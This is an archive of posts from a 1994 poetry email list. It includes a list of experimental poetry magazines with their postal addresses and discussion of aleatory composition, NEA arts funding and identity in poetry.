TERRIBLE WORK, Tim Allen, 21 Overton Gardens, Mannamead, Plymouth PL3

5BX ### 3 X 4, John Mingay, 2 Henderson St, Kingseat by Dunfermline, Fife, Scotland KY12 0TP ### WORDS WORTH, Richard Tabor, Alaric Sumner, 1 Dairy Cottage, Crompton Rd. South Cadbury, Yeovil, Somerset BA22 7E7 ### CONTINENTAL EUROPE AND ELSEWHERE ### ABSURDISTISCHE, Rainer Golchert, Soderstrasse 29, 64283 Darmstadt Germany ### ACTION POETIQUE, Henri Deluy, 113 rue Anatole France, 92300 Levallois-Perret, France ### ALIRE, 57 allee des Coquelicots, 59650 Villeneuve-d'Ascq, France ### ARNYEKYOTOK, Szasz Janos, Timdr u 17 fsz 3, H- Budapest III, Hungary ### AU/ART UNIDENTIFIED, 1-1-10-301 Koshienguchi, Nishinomiya, Hyogo, 663 Japan ### BLAST, Box 3514, Manuka, ACT 2603, Australia ### BRIO CELL, J. Lehmus, Stenbocksv. 24, 02860 Esbo, Finland ### CARPETAS EL PARAISO, Jose Luis Campal, Apt N. 6, 33980 Pola de Lavinia, Asturias, Spain ### CELACANTO, Marcelo Casarin, Quisquisacate 125, 5000 Cordoba, Argentina ### COMMUNICARTE, Hugo Pontes, Caixa Postal 922, 37701-970 Pocos de Caldas, Brazil ### DANS UN MONDE ABANDONNE DES FACTEURS, Mathieu Benezet, 3bis rue Jean Sicard, 75015 Paris, France ### DAS FROLICHE WOHNZIMMER, Fritz Widhalm, Fuhrmanngasse 1A/7, 1080 Wien Austria ### DIMENSAO, Guido Biharinho, Caixa Postal 140, Uberaba 38001, Brazil ### DOC(K)S, Phillipe Castellin, 20 Rue Bonaparte, Ajaccio, France 2000 ### DOUBLE, Rea Nikonova, Sverdlova 175, Eysk 353660, Russia ### EX-SYMPOSIUM, 8200 Veszprem, Anyos u. 1-3 Hungary ### FIG., Jean Davie, 3bi rue Fessart, 75019 Paris, France ### FREIE ZEIT ART, Postfach 82, A-1195 Vienna, Austria ### GOING DOWN SWINGING, Box 64, Coburg, Victoria 3058, Australia ### GRAFFITI, Horacio Versi, Colonia 815, of. 105, Montevideo, Uruguay ### IF, Jean-Jacques Viton, 12 Place Castellane, 13006 Marseille, France ### KARTA, Bartek Nowak, Spoldzielcza 3/39, 42 300 Myszkow, Poland ### LAZA LAPOK, Gabor Toth, 1038 Budapest, Korhaz u. 7. Hungary ### JALOUSE PRATIQUE, Herve Bauer & Jean-Marc Scanreigh, 80 rue Henon, 69004 Lyon, France ### LE CAHIER DU REFUGE, Center International de Poesie Marseille, Couvent du Refuge, 1 rue des Honneurs, 13002 Marseille, France ### MAGYAR MUHELY, Tibor Papp, 40 Rue Pascal, 75013 Paris France ### MANDORLA, Roberto Tejada, Apartado postal 5-366, Mexico D.F., Mexico 06500, ### MANI ART, Pascal Lenoir, 11 Ruelle De Champagne, 60680 Grandfresnoy, France ### MINIATURE OBSCURE, Gerhild Ebel, Cornelia Ahnert, Landrain 143, 06118 Halle/Saale, Germany ### MITO, via G. Bruno 37, 80035 Nola, Italy ### MOHS, Kate McMeekin, 8 rue Chaptal, 44100 Nantes France ### MONDRAGON, Nel Amaro, S. Francisco F-32, 3-A, 33610 Turon, Asturias, Spain ### NIOQUES, Jean-Marie Gleize, 4 rue de Cromer, 26400 Crest, France ### NON (+) ULTRA, Matthias Schamp, Grosse-Weischede-Strasse 1, 44803 Bochum, Germany ### OFFERTA SPECIALE, Carla Bertola, Corso De Nicola 20, 10128 Torino, Italy ### OLHO LATINO, Paulo Cheida Sans, Rua Padre Bernardo da Silva 856, 13030

Campinas, SP, Brazil ### OTIS RUSH, Ken Bolton, P.O. Box 21, North Adelaide, South Australia 5006 ### PIEDRA LUNAR, Corpa, Urb. Los Cantos, 38, Bargas, Toledo, Spain ### PINTALO DE VERDE, Antonio Gomez, APDO 186, 06800 Merida, Badajoz, Spain ### PIPS DADA CORPORATION, Claudio Puetz, Beethovenstr. 40, 53115 Bonn, Germany ### PLURAL, Paseo de la Reforma 18.1 piso, Deleg. Cuauhtemoc, DF 06600, Mexico ### P.O. Box (Merz Mail), Pere Sousa, apdo 9326, 08080 Barcelona Spain ### POESIE, Micel Deguy, 8 rue Ferou, 75278 Paris Cedex 06, France ### POEZINE, Rua Seride 486, apt 1106, CEP 59020 Natal RN, Brazil ### POSTFLUXPOSTBOOKLET, Luce Fierens, Boterstraat 43, B-2811, Hombeek, Belgium ### PRAKALPANA LITERATURE, KOBISENA, P-40 Nandana Park, Calcutta 700034, West Bengal, India ### SCARP, Ron Pretty, Univ of Wollongong, Box 1144, Wollongong, NSW 2500, Australia ### SHISHI, Shoji Yoshizawa, 166 Suginami-ku koenjikita, 3-31-5 Tokyo, Japan ### SIVULLINEN, Jouni Vaarakangas, Kaarelantie 86 B 28, 00420 Helsinki, Finland ### SOUTERRAINS & LOLA FISH, Bruno Pommey, 10 Residence Jean Mace, 28300 Mainvilliers, France ### SPINNE, Dirk Frohlich, Priessnitzstrasse 19, 01099 Dresden, Germany ### SPORT, Box 11-806, Wellington, New Zealand ### SUB BILD, Willem van Dijk, Untere Badstrasse 32, 69412 Eberbach, Germany ### TABOO JADOO, Javant Biaruja, GPO Box 994/H, Melbourne, Victoria 3001 Australia ### TARTINE, Catherine Lorin & Regis Tillet, 1 rue Ferdinand Duval, 75004 Paris, France ### TERAZ MOWIE, Hartmut Andryczuk, postlagernd, 12154 Berlin, Germany ### UNI/VERS(;), Guillermo Deisler, Kirchnerstrabe 11, 06112 Halle (Saale), Germany ### YE, Theo Breuer, Neustrasse 2, 53925 Sistig/Eifel, Germany ### ZOOM-ZOUM, Josee Lapeyrere, 4 rue des Carmes, 75005 Paris, France ### The preceding list is based on the research and judgments of Spencer Selby. The term "experimental" is not meant as a characterization of anyone's specific editorial focus or perspective. Please circulate, and mail possible additions, deletions, address changes or other comments to Spencer Selby, P.O. Box 590095, San Francisco CA 94159, U.S.A. email: [redacted] fax: [redacted] This is list #12, dated 12/94 ###

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209. **John Cayley**

Re: Experiments

Fri 16 Dec 1994

> John Cayley is under the impression that seriousness is
>rather like intent, some soulful condition that one adopts at the
>moment of rolling the dice or whatever. Wittgenstein's cogent argument
>on intent, I believe, applies here as well.
>

> Seriousness rather is a matter of consequences. To be
>sure, any one who finds algorithmic and aleatory modes of creation
>useful should use them.
>
> Don Byrd
>

No. I agree that seriousness is not a function of intent (I cringe anglophilially at the thought of shifting Yi Ching stalks with a heavy frown of high-mindedness) and I apologize if I introduced that confusion. Yes, seriousness is a consequence of the work and consequent to its publication. The author has no particular priviledge in determining its seriousness.

But these questions skirt around the point I was trying to make. Given the existence of machines which are capable of reordering works of literature, certain writers will wish to use the techniques newly made available to extend their range of compositional strategies. The familiar algorithmic and aleatory techniques are natural starting points but the degree of control and level of feedback which the new tools provide changes the nature of the operation. It is less like a liberating game and more like the painful work of composition. It is a type of practice that should not be dismissed and which will, I believe produce important literary works in the fullness of time.

(This is not to say that I'm not happy to play the game as light-heartedly as anyone else, by the way :-)

John Cayley Wellsweep Press [in Chinese HZ:]
Tel & Fax: 0[redacted] Email: [redacted]

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210. Steve Evans
Re: NEA ???
Fri 16 Dec 1994

This message, intended for the list, had the
consequence of going directly to luigi-bob.
Now it has another consequence. /SE

----------Original message----------

I'm actually unfamiliar with the Literary
Network, i.e. what it does and how well,
but I'm assured by someone who spoke with
their office last week that it does exist

and that they are working on defending the
NEA/NEH come the next round of assaults
(possibly as early as January).

The phone number is [redacted], and the
person to speak with Ann Burke (though that
spelling may be wrong, I've only heard the
name). I'm told it's best to call after one
in the afternoon. (The LN shares the phone
line, btw, with the Coucil of Literary
Magazines and Publishers).

Does the NEA contribute "all that much to
non-mainstream culture," as luigi-bob puts it?
A *very* large number of the books in my poetry
library acknowledge NEA support of one form
or another, so my answer would have to be yes.

But when I originally raised to issue, it was
with the intent of generating discussion on how
the next round of debate on the program could
be framed so that maintenance of a biased and
unresponsive system was *not*
our only option/position. Very simply, it can't
be changed if it ain't there--we need to argue
for the elimination of what's wrong with the current
program, not the program itself.

Reading over the language of the act this afternoon,
I was struck by the seventh clause:
"The practice of art and the study of the humanities
requires constant dedication and devotion. While no
government can call a great artist or scholar into
existence, it is necessary and appropriate for the
Federal Government to help create and sustain not only
a climate encouraging freedom of thought, imagination,
and inquiry but also the material conditions facilitating
the release of this creative talent."

It seems to me that we should be able to work with
claims like that. No?

Steve Evans

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211. Chris Stroffolino
Re: ASSORTED
Fri 16 Dec 1994

Dear rodger--I am finally done with this "hellish" semester and no longer consider dealing with the "internal enemy" a luxury but a necessity. Anyway, what is lacking from this discussion for the most part seems to be poetry. I don't mean as artifact (THOUGH EVEN THAT WOULD BE REFRESHING) but a "poetic intelligence" that can inform the discussions. Though I am not the only one who can be seen as having tried to crush IT the few the times the discussion at least seemed to move tentatively towards it (AND I definitely owe rodger kamanetz an apology on this count). WHAT KAMENETZ brought up--the question of not worrying about a "them" (which to some extent is what Charles Alexander and maybe Steve Evans too) NEED NOT BE EMBRACED IN EVERY CIRCUMSTANCE to be an effective counter to what Don Byrd calls "the prose of thought" that has been manifested here. Without it, aren't we just yakking opiners??? Even with it we might be, but at least it might be more "fun" (and I say "fun" where others might say more "spiritual") WHAT IS KEEPING an open mind entail??? Being wishy-washy? Wavering between politics-as-politics and politics-as-poetry as a starting point of the meditation and not really worrying how or where it goes as long as it's intense??? Attitudes cancel each other out. Turning back to a DISCOURSE of politics either out of guilt, the feeling you're missing out on something, feeling too lopsided, or even pissed off at genuine disenfranchisement may be absolutely necessary at times But it too is no answer (and can reify into so much primping posturing) As if consciousness moves through trite seasons And the second you name something it stops (OOH, OOH, IDEOLOGICAL DODGE, refusal to implicate one's INEVITABLE partaking in a bourgeois ideology--arrest him even though no one will marry him because he doesn't make enough money) But the desire to "divvy" consciousness up into characters is one thing both theorists (critics) and lyric poets deny---This is a denial they have in common, unless we read poetry as a novelist would (which we can) and see WORDS, ideas, images, gestures, whathaveyou as characters... And this should free us to live "inconsistenly" by theory's standards... (of course, you're not suppossed to SAY THIS ON THE PAGE, only on your tombstone, and even then only if you're FRANK O'HARA)

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212. **Chris Stroffolino**
Re: ASSORTED
Fri 16 Dec 1994

reply reply Question: IS "identity" limitingly singular in "poetry" (insofar as it problematizes identity at all), as limitingly singular as it has been invoked in much of these "hot" internet debates? Aren't the debates with others the debates we have with ourselves? And if they don't always take the form of debates with ourselves, why do they have to with others?? Certainly one can communicate without being contentious??? I for one have overdosed on my own weakness for contention. Granted, it was a useful tool to go "beyond" the sickness of those "superficial mutual admiration societies" most of us probably couldn't stand... But the need to DISTINGUISH oneself has eclipsed the potential use value of what has been said, meanings tangled up in the messanger- Perhaps I'm projecting all of this and certainly don't wish for the discussion to degenerate into a forum on the psychoanalytic model of interiority or subjectivity. For "interiority" and "exteriority" are "the same" on a level that can not be utterly ghettoized without "burn baby burn" coming down from Harlem to Wall Street (or C=o=m= p=u=t=e=r=l=a=n=d), and the discourse of "curved space" is pasta or "game" for the poet... Or we could destroy something before it's built... (Because destruction can't tear itself down, strictly speaking) And sometimes WE HAVE TO LET OURSELVES GO---and that's been the MAIN VALUE of this poetic list as I see it, but is it enough to meet here only anarchically, To release TENSION here only to build it up in our more intense "heightened commodity laboratory solitude" where one churns out one's latest poetic/theory works???? It's like someone who goes public dishevelled and only dresses up when there's no place to go. It might as well be the other way around. Either way, we're victims of compartmentalization, or am i making a mountain out of molehill???

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213. **Sheila Murphy**
Re: ASSORTED
Fri 16 Dec 1994

What Chris writes about identity can be blamed (in part) for spawning this little cadenza around a desire to be able to have (hold of) multiple channels of perception at once and without moving. It occurs to me that the one-at-a-timeness of perception (maybe a mere matter of faulty programming we've had) may have yielded this curious habit of thinking of approximately one thing at a time. It isn't that the mind does not feel full (at moments), but that bringing together a full house in large measure means doing harmonics or skipping

stones or something. Thus (getting back to where this started), we let out one moment of thought and then another patch of the mosaic (someone else) recites this other moment of thought, from perhaps a completely different context. On and on. The psychoanalytic wealth behind all this is something I can't touch (but I can love!). So there you have it. One more granule!

Sheila Murphy

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214. Robert Drake

Re: NEA ???

Sat 17 Dec 1994

---

this message, intended for Steve, had the
consequence of going directly to him.
now it has another consequence... lbd

---

steve--

first off, yes i suppose, _any_ gov't asstistance fr the arts ought be welcomed, scarce as it is... _i_ sure wouldn't look _that_ gift horse in th mouth. & sure, it's gotta be there first if we're gonna improve it. and the claims you quote are certainly laudable...

BUT the evidince I see in support of those claims is meager.
some fine books in my library do indeed credit the NEA, but
the vast majority do not--either they are commericially
viable (more or less) on their own, or some sucker like
myself has put them out themselves.

i guess i'm thinking of the opening of Chas B's "provisional institutions" essay: "imagine that all the nationally circulated magazines and all the trade presses and all the university presses in the US stopped publishing or reviewing poetry. new poetry in the US would hardly feel the blow."... i guess i'd add, what if the NEA just blew away...

and contrary-wise, i believe i remember Cydney Chadwick bemoaning the loss of NEA funds for AVEC--almost seemed that the _loss_ of that chimerical funding had such a negative impact (psychologicaly as much as fiscally) that it offset the original positive affect of _being_ funded. and i believe the loss of NEA funds was one (not the only) of the death-nells for Segue...

all that said, glad the Lit Network is still at it, appologies for misunderstanding/misinformation i might have spread, and hoping they might be of real assistance. but sceptical.

lbd

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215. Loss Glazier

Selby List (re-formatted) via Electronic Poetry Center

Sat 17 Dec 1994

___LIST OF EXPERIMENTAL POETRY/ART MAGAZINES___

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___U.S. MAGAZINES___

ABACUS, Peter Ganick, 181 Edgemont Ave, Elmwood CT 06110

AERIAL, Rod Smith, Box 25642, Wash D.C. 20007

AMERICAN LETTERS AND COMMENTARY, Jeanne Beamont & Anna Rabinowitz, 850 Park Avenue - Suite 5B, NY NY 10021

APEX OF THE M, Box 247, Buffalo NY 14213

ARRAS, Brian Kim Stefans, 336 W. 19th St #22, New York, NY 10011

ARSHILE, Mark Salerno, Box 26366, L.A. CA 90026

ARTCRIMES, 2672 West 14th St, Cleveland OH 44113

ASYLUM, Greg Boyd, Box 6203, Santa Maria CA 93456

ATELIER, Sarah Jensen, Box 580, Boston MA 02117

AVEC, Cydney Chadwick, Box 1059, Penngrove CA 94951

B CITY, Connie Deanovich, 517 North Fourth St, Dekalb IL 60115

BIG ALLIS, Jessica Grim, Melanie Neilson, 136 Morgan St., Oberlin OH 44070

BLACK BREAD, Sianne Ngai, Jessica Lowenthal, 366 Thayer St. #3, Providence RI 02906

BLADES, 182 Orchard Rd, Newark DE 19711

BLUE RYDER, Ken Wagner, Box 587, Olean NY 14760

THE BOMB, Ben Baxter, 719 Almond St, Nampa ID 83686

BOMBAY GIN, Naropa Institute, 2130 Arapahoe Ave, Boulder CO 80302

BUGHOUSE, Doug Blumhardt, Eric Peterson, Box 4817, Albuquerque NM 87196

BULLHEAD, Joe Napora, 2205 Moore St, Ashland KY 41101

CALIBAN, Lawrence Smith, Box 561, Laguna Beach CA 92652

CAMELLIA, Tomer Inbar, Box 417 Village Station, N.Y. NY 10014

CATHAY, Gale Nelson, 11 Slater Avenue, Providence RI 02906

CENTRAL PARK, Stephen Paul Martin, Eve Ensler, Box 1446 NY NY 10023

CLWN WR, Box 2165, Church St Station, NY NY 10008

COMPOUND EYE, Ange Mlinko, 10 Eliot #2, Somerville MA 02143

CONJUNCTIONS, Bradford Morrow, 33 W. 9th St., NY NY 10011

COTTON GIN, Chris Stafford 3408 Burlington Rd., Greensboro NC 27405

CROTON BUG, Bob Harrison, Box 1116, Milwaukee WI 53211

CWM, 1300 Kicker Rd., Tuscaloosa AL 35404

CYANOSIS, Darin De Stefano, 318 Mendocino Ave, Suite #30, Santa Rosa CA 95404

DADA TENNIS, Bill Paulauskas, Box 10, Woodhaven Ny 11421

DENVER QUARTERLY, Bin Ramke, Dept of English, U. of Denver, Denver CO 80208

DIE YOUNG, Skip Fox, English Dept, Univ. of Southwestern Louisiana, Lafayette LA 70504

DREAMTIME TALKING MAIL, Miekal And, Liz Was, Rt 1 Box 131, Lafarge WI 54639

DRIVER'S SIDE AIRBAG, Mike Halchin, Box 25760, L.A. CA 90025

DROP FORGE, Sean Winchester, PO Box 7237, Reno NV 98510

ELEPHANT, Douglas Messerli, 6026 Wilshire Blvd, Los Angeles CA 90036

EXILE, 149 Virginia St #7, St Paul MN 55102

EXPERIODICIST, Jake Berry, Box 3112, Florence AL 35630

EXQUISITE CORPSE, Box 25051, Baton Rouge LA 70894

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FISH WRAP, Jim Maloney, 921&1/2 24th Ave, Seattle WA 98122

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GENERATOR, John Byrum, 8139 Midland Rd., Mentor OH 44060

GRIST ON-LINE, Box 20805, Columbus Circle Station, New York NY 10023

HAMBONE, Nathaniel Mackey, 134 Hunolt St. Santa Cruz CA 95060

HEAVEN BONE, Steven Hirsch, Box 486, Chester NY 10918

HOUSE ORGAN, Kenneth Warren, 1250 Belle Avenue, Lakewood OH 44107

I AM A CHILD, William Howell, 418 Richmond Ave. #2, Buffalo NY 14222

THE IMPERCIPIENT, Jennifer Moxley, 61 E. Manning, Providence RI 02906

THE IMPLODING TIE-DIED TOUPEE / MISSIONARY STEW Keith Higgenbotham & Tracy Combs , 100 Courtland Drive, Columbia SC 29223

INDEFINITE SPACE, Marcia Arrieta, Box 40101, Pasadena CA 91114

INTERRUPTIONS, Tom Beckett, 131 N. Pearl St., Kent OH 44240

JUXTA, Ken Harris, Jim Leftwich, 977 Seminole Trail, Charlottesville VA 22901

KIOSK, Nick Gillespie, 306 Clemens Hall, S.U.N.Y, Buffalo NY 14260

LETTERBOX, Scott Bentley, 3791 Latimer Pl., Oakland CA 94609

LIFT, Joseph Torra, 10-R Oxford St (Rear), Somerville MA 02143

LILLIPUT REVIEW, Don Wentworth, 207 S. Millvale Ave #3, Pittsburgh PA 15224

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LONG BEACH GUTS-ETTE, Box 2730, Long Beach CA 90801

LONG NEWS, Barbara Henning, Box 150-455, Brooklyn NY 11215

LOST AND FOUND TIMES, John M. Bennett, 137 Leland Ave, Columbus OH 43214

LOWER LIMIT SPEECH, A.L. Nielsen, 1743 Butler Ave #2, L.A. CA 90025

LYRIC&, Avery Burns, Box 640531, San Francisco CA 94164

MA!, David Kirschenbaum, Box 221, Oceanside NY 11572

MALCONTENT, Laura Poll, Box 703, Naversink NJ 07752

MALLIFE, Mike Miskowski, Box 17686, Phoenix AZ 85011,

MEAT EPOCH, Gregory Vincent St Thomasino, 3055 Decatur Ave Apt 2-D, Bronx NY 104 67
K
MIRAGE #4/PERIOD(ICAL), Kevin Killian & Dodie Bellamy, 1020 Minna St, San Francisco CA 94103

NEW AMERICAN WRITING, Maxine Chernoff & Paul Hoover, 2920 West Pratt, Chicago IL 60645

NORTH AMERICAN IDEOPHONICS, Mark Nowak, Box 13561 Minneapolis MN 55414

O.ARS. Don Wellman, 21 Rockland Rd., Weare NH 03281

OBJECT, Robert Fitterman & Kim Rosenfeld, 229 Hudson St #4, NY NY 10013

OBLEK, Connell McGrath, Box 1242, Stockbridge MA 01262

OPEN 24 HOURS, Buck Downs, Box 50376, Washington D.C. 20091

O!!ZONE, Harry Burrus, 1266 Fountain View Dr. Houston TX 77057

PAPER RADIO, Neil Kvern, Box 4646, Seattle WA 98104

PARADOX, Dan Bodah, Box 643, Saranac Lake NY 12983

PAVEMENT SAW, David Baratier, 7 James St., Scotia NY 12302

POETIC BRIEFS, Jefferson Hansen & Elizabeth Burns, 31 Parkwood St #3, Albany NY 12208

POETRY USA, Jack Foley, 2569 Maxwell Ave, Oakland CA

PRIVATE ARTS, D. R. Heniger, 600 S. Dearborn #2209, Chicago IL 60605

PROSODIA, New College of California, 766 Valencia San Francisco CA 94110

RE*MAP, Carolyn Kemp & Todd Baron, 8270 Willoughby Ave, Los Angeles CA 90046

RIBOT, Paul Vangelesti, Box 65798, Los Angeles CA 90065

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SHATTERED WIG REVIEW, Rupert Wondolowski, 2407 N. Maryland #1, Baltimore MD 21218

SITUATION, Mark Wallace, 10402 Ewell Ave, Kensington MD 20895

6IX, 914 Leisz's Bridge Rd, Reading PA 19119

SPLIT CITY, Jim Lang, Box 110171, Cleveland OH 44111

SUBTLE JOURNAL OF RAW COINAGE, Geof Huth, 875 Central Pkwy, Niskayuna, NY 12309

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SYN/AES/THE/TIC, Alex Cigale, 178-10 Wexford Terrace Apt 3D, Jamaica NY 11432

TALISMAN, Ed Foster, Box 1117, Hoboken NJ 07030

TAPROOT REVIEWS, Luigi Bob Drake, Box 585, Lakewood OH 44107

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TYUONYI, Phillip Foss, Box 23266, Santa Fe NM 87502

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UMBRELLA, Judith Hoffberg, Box 40100, Pasadena CA 91114

VOLT, Gillian Conoley, 4104 - 24th St #355, San Francisco CA 94114

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THE WASHINGTON REVIEW, Joe Ross, Box 50132, Washington D.C. 20091

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W'ORCS/ALOUD ALLOWED, Ralph LaCharity, Box 27309, Cincinnati OH 45227

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WORLD LETTER, Jon Cone, 2726 E. Court, Iowa City IA 52245

WRAY, V. Marek & J. Welch, Box 91502, Cleveland OH 44101

XIB, Tolek, Box 26112, San Diego CA 92126

X-RAY MAGAZINE, Johnny Brewton, Box 170011, San Francisco CA 94117

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ZYX, Arnold Skemer, 58-09 205th St, Bayside NY 11364

___CANADIAN MAGAZINES___

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CRASH, Maggie Helwig, Box 562, Station P, Toronto Ontario M5S 2T1

ESPACE GLOBAL, Alain-Arthur Painchaud, 755 Est Avenue Mont-Royal, Montreal, Queb ec H2J 1W8

HOLE, Louis Cabri, 123 Irving Ave., Ottawa, Ontario K1Y 1Z3

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PARAGRAPH, Beverly Daurio, 137 Birmingham St, Stratford, Ontario N5A 2T1

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RADDLE MOON, Susan Clark, 2239 Stephens St, Vancouver B.C. V6K 3W5

SIN OVER TAN, Box 153 Station P, Toronto, Ontario M5S 2S7

STAINED PAPER ARCHIVE, Gustave Morin, 1792 Byng Road, Windsor, Ontario N8W 3C8

TONGUE TIDE, Tom Snyders, [redacted] Granville St, Vancouver, B.C. V6Z 1L4

WHO TORCHED RANCHO DIABLO,MONDO HUNKAMOOGA, Stuart Ross, Box 141, Station F, Tor onto, Ontario M4Y 2L4

ZAG, Steve Banks, 69R Nassau St, Toronto, Ontario M5T 1M6

___U.K. MAGAZINES___

ACTIVE IN AIRTIME, Ralph Hawkins, 53 East Hill, Colchester, Essex CO1 3QY

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GRILLE, Simon Smith, 53 Ormonde Court, Upper Richmond Rd., Putney London SW15 5T P

INTERFERENCE, Michael Gardner, Wadham College, Parks Rd, Oxford OX1 3PN

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SPANNER, Allen Fisher, 14 Hopton Road, Hereford HR1 1BE

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TERRIBLE WORK, Tim Allen, 21 Overton Gardens, Mannamead, Plymouth PL3 5BX

3 X 4, John Mingay, 2 Henderson St, Kingseat by Dunfermline, Fife, Scotland KY12 0TP

WORDS WORTH, Richard Tabor, Alaric Sumner, 1 Dairy Cottage, Crompton Rd. South C adbury, Yeovil, Somerset BA22 7E7

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ABSURDISTISCHE, Rainer Golchert, Soderstrasse 29, 64283 Darmstadt Germany

ACTION POETIQUE, Henri Deluy, 113 rue Anatole France, 92300 Levallois-Perret, Fr ance

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AU/ART UNIDENTIFIED, 1-1-10-301 Koshienguchi, Nishinomiya, Hyogo, 663 Japan

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FREIE ZEIT ART, Postfach 82, A-1195 Vienna, Austria

GOING DOWN SWINGING, Box 64, Coburg, Victoria 3058, Australia

GRAFFITI, Horacio Versi, Colonia 815, of. 105, Montevideo, Uruguay

IF, Jean-Jacques Viton, 12 Place Castellane, 13006 Marseille, France

KARTA, Bartek Nowak, Spoldzielcza 3/39, 42 300 Myszkow, Poland

LAZA LAPOK, Gabor Toth, 1038 Budapest, Korhaz u. 7. Hungary

JALOUSE PRATIQUE, Herve Bauer & Jean-Marc Scanreigh, 80 rue Henon, 69004 Lyon, France

LE CAHIER DU REFUGE, Center International de Poesie Marseille, Couvent du Refuge, 1 rue des Honneurs, 13002 Marseille, France

MAGYAR MUHELY, Tibor Papp, 40 Rue Pascal, 75013 Paris France

MANDORLA, Roberto Tejada, Apartado postal 5-366, Mexico D.F., Mexico 06500

MANI ART, Pascal Lenoir, 11 Ruelle De Champagne, 60680 Grandfresnoy, France

MINIATURE OBSCURE, Gerhild Ebel, Cornelia Ahnert, Landrain 143, 06118 Halle/Saale, Germany

MITO, via G. Bruno 37, 80035 Nola, Italy

MOHS, Kate McMeekin, 8 rue Chaptal, 44100 Nantes France

MONDRAGON, Nel Amaro, S. Francisco F-32, 3-A, 33610 Turon, Asturias, Spain

NIOQUES, Jean-Marie Gleize, 4 rue de Cromer, 26400 Crest, France

NON (+) ULTRA, Matthias Schamp, Grosse-Weischede-Strasse 1, 44803 Bochum, Germany

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OLHO LATINO, Paulo Cheida Sans, Rua Padre Bernardo da Silva 856, 13030 Campinas, SP, Brazil

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P.O. Box (Merz Mail), Pere Sousa, apdo 9326, 08080 Barcelona Spain

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SCARP, Ron Pretty, Univ of Wollongong, Box 1144, Wollongong, NSW 2500, Australia

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SIVULLINEN, Jouni Vaarakangas, Kaarelantie 86 B 28, 00420 Helsinki, Finland

SOUTERRAINS & LOLA FISH, Bruno Pommey, 10 Residence Jean Mace, 28300 Mainvilliers, France

SPINNE, Dirk Frohlich, Priessnitzstrasse 19, 01099 Dresden, Germany

SPORT, Box 11-806, Wellington, New Zealand

SUB BILD, Willem van Dijk, Untere Badstrasse 32, 69412 Eberbach, Germany

TABOO JADOO, Javant Biaruja, GPO Box 994/H, Melbourne, Victoria 3001 Australia

TARTINE, Catherine Lorin & Regis Tillet, 1 rue Ferdinand Duval, 75004 Paris, France

TERAZ MOWIE, Hartmut Andryczuk, postlagernd, 12154 Berlin, Germany

UNI/VERS(;), Guillermo Deisler, Kirchnerstrabe 11, 06112 Halle (Saale), Germany

YE, Theo Breuer, Neustrasse 2, 53925 Sistig/Eifel, Germany

ZOOM-ZOUM, Josee Lapeyrere, 4 rue des Carmes, 75005 Paris, France

---

[Note: Charles B. has asked me to send my magazine list to all participants here. I am happy to oblige, as free circulation of info is what this is all about. I am interested in feedback (especially updates for the list) but please don't ask me to engage in arguments or discussion about the term "experimental." I've used it for want of something better, not because I feel committed to it as a meaningful or accurate label.]

↑ Index

216. Jorge Guitart
school prayer
Sun 18 Dec 1994

I recommend

"Dear Procne: your wretched sister--she it weaves this robe. Regard it well: it hides her painful tale in its pointless patterns. Tereus came and fetched her off; he conveyed her to Thrace . . . but not to see her sister. He dragged her deep into the forest, where he shackled her and raped her. Her tongue he then severed, and concealed her, and she warbles for vengeance, and death."

John Barth, ***Lost in the Funhouse***, New York: Bantam Books, 1969, p. 111.

(The above is one of six pieces in the section "Glossolalia" . Of those six pieces says Barth in the foreword (page xi, op cit) "Among their common attributes are 1) that their audiences don't understand what they are talking about, and 2) that their several speeches are metrically identical, each corresp verbal sound-pattern identifiable by anyone who attended American public schools prior to the decision of the U.S. Supreme Court in the case of [ITALIC] Murray v. Baltimore School Board [END Italic] in 1963.")

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217. Tony Green
Re: ASSORTED
Sun 18 Dec 1994

Chris, do you churn out yr poetry or theory. The well-churned urn pours out peotry & thoery mainly.

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

↑ Index

218. Tony Green
Re: Univeral Blisters/Individual Burns
Sun 18 Dec 1994

Hi James, How clean is a weather forecast, when it always
reproduces the power structure by naming that structure's version of
geographical features....?

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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219. Tony Green
Re: Experiments
Sun 18 Dec 1994

Dear John, You sound, you know, like one who has not yet discovered the pleasures of reading Cage or Mac Low. As if to say, this is for the FUTURE. The future you are here looking at is called 1958 or thereabouts. It's not new and its "techniques", by which I suppose you mean, following sets of predetermined instructions (or self-instructions) for text-manipulations, (even including dice-throwing in the instructions!!! tut! tut!....) produce results which are of no interest whatever until shown to someone else, or read aloud in a public place. Or sung or used as if it were instrumental cha-cha-cha music.... At that precise moment, there is a relation between poet reading and "Audience" that is a pleasure to engage with. /for one thing it pulls the rug from under A NUMBER OF OTHER VERY HIGH-MINDED proposals.

And a Merry Christmas to you and yours

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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220. Loss Glazier

Electronic Poetry Center Call for Essays / Papers

Mon 19 Dec 1994

Electronic Poetry Center

Call for Papers / Essays

The ELECTRONIC POETRY CENTER is interested in receiving papers, essays on poetics, specific postmodern poets, or movements, etc.

The EPC contains an author library where we would consider placing these papers. How would this work? Papers will bear a copyright statement in your name. The idea is to make information available to readers who are interested in these topics, and allow them an accessible source to receive them.

For papers on specific authors, a subject library will also be created.

Our idea is that papers presented at conferences, for example, often contain timely information that might be shared. Regardless of whether these papers are being revised or otherwise prepared for print publication, you might wish to submit them for placement into the EPC Library for others to read, view, even comment on if you wish.

Another possiblity here might be your own essays that you use for classroom use (and which you own the copyright to). Students may receive them from the Center at no cost and from any telephone outlet they may choose.

Placement of papers on the EPC would not in any way preclude their publication in print, in a collection of essays, etc. Our idea is to allow them to circulate while the ideas are fresh.

There has been quite a bit of traffic in the Electronic Poetry Center. This is a way of helping your material to circulate and also of providing interesting material for our visitors.

If you are interested in submitting work to this project, send them
in the body of an e-mail message to Loss Glazier,
[redacted]

We are most interested in hearing from you!

Loss Glazier
for Loss Glazier and Kenneth Sherwood
in collaboration with Charles Bernstein

↑ Index

221. Loss Glazier
Re: AMERICA: A PRAYER
Mon 19 Dec 1994

Interestingly, reading while for an appointment, Newt Gingrich is listed in _People Weekly_ (an indication of celebrity status!) where his e-mail address is listed as

ga06*@hr.house.gov

